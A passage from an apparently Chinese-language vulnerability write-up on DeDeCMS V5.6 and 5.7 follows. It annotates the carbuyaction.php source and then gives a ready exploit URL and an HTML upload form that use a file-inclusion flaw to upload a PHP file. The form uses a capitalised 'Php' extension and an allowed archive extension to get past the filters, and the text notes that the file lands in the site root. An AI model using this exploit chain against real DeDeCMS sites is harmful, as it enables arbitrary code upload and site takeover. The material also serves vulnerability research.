if($cfg_mb_open == 'N') { ShowMsg("系统关闭了会员功能,因此你无法访问此页面!","javascript:;"); exit(); } //①要求系统开启会员功能 $cfg_ml = new MemberLogin(); if(!isset($dopost) || empty($dopost)){ ...(略) } else if ($dopost == 'memclickout') { $svali = GetCkVdValue(); if(preg_match ("/S-P[0-9]+RN[0-9]/",$oid)) { $oid=trim($oid); } else { ShowMsg("您的订单号不存在!","/member/shops_orders.php",0,2000); exit(); } //②要求$oid 变量符合正则表达式 if($cfg_ml->IsLogin()) { } else { $userid = $cfg_ml->M_ID;
...(略) //验证用户名、密码
} //③要求用户登录 $row=$dsql->GetOne("SELECT * FROM `#@ shops_orders` WHERE oid='$oid' "); if(is_array($row)){ $OrdersId=$oid; $CartCount=$row['cartcount']; $priceCount=$row['priceCount']; $pid=$row['pid']; $rs = $dsql->GetOne("SELECT * FROM `#@ payment` WHERE id='{$row['paytype']}' "); } //④当$row 不是数组,即 if 条件不成立,不会重写变量$rs,所以外部提交 $rs['code']变量,实现包含调用 select_soft_post.php 文件。 require_once DEDEINC.'/payment/'.$rs['code'].'.php'; ...(略) } 分析代码可以知道:语句①和③要求系统开启会员功能并且登陆用户;语句②要求变量 $oid 符合正则表达式“S-P[0-9]+RN[0-9]”,即以“S-P”开头,加数字,加“RN”,最后 是数字;语句④是导致可以包含调用的关键,当$row 不是数组,即 Sql 语句无返回结果, 这时就可以外部提交$rs['code']变量,实现包含调用 select_soft_post.php 文件。给出利 用链接:“http://127.1/plus/carbuyaction.php?dopost=memclickout&oid= S-P0RN8888&rs[code]=../dialog/select_soft_post”,访问页面如图 7。 ![]() 将下面的源码另存为 upload1.htm,获得提交页面如图 8。 <form action="http://127.1/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN888 8&rs[code]=../dialog/select_soft_post" method="post" enctype="multipart/form-data" name="form1"> file:<input name="uploadfile" type="file" /><br> newname:<input name="newname" type="text" value="myfile.Php"/> <button class="button2" type="submit">提交</button><br><br> 1,必须登陆用户。<br> 2,将待上传 PHP 文件扩展名改为“zip|gz|rar|iso|doc|xsl|ppt|wps”其中之一。<br> 3,newname 为上传后的新文件名,扩展名使用大写绕过,如“Php”。<br> ![]() 提交后尽管页面出错,如图9,但是myfile.Php文件已经成功上传到网站根目录。 漏洞影响:DeDeCMS V5.6 和 5.7 所有版本。因为 V5.6 使用 eregi 函数进行正则判断, 忽略大小写,所以无法绕过 CheckSql 函数的“Safe Alert: Request Error step 1 !”的 过 滤,不 存在注 入漏洞, 但是却 存在上 传漏洞。 比较 V5.6 与 V5.7 页 面代码 , “/plus/carbuyaction.php”一致,仅“/dialog/select_soft_post.php”略有不同,代码 如下: …(略) $uploadfile_name = trim(ereg_replace("[ \r\n\t\*\%\\/\?><\|\":]{1,}",'',$uploadfile_name)); if(!eregi("\.(".$cfg_softtype.")", $uploadfile_name)) { ShowMsg("你所上传的{$uploadmbtype}不在许可列表,请更改系统对扩展名限定的 配置!",""); exit(); }//将待上传文件的扩展名改为rar等,绕过这里的限制 |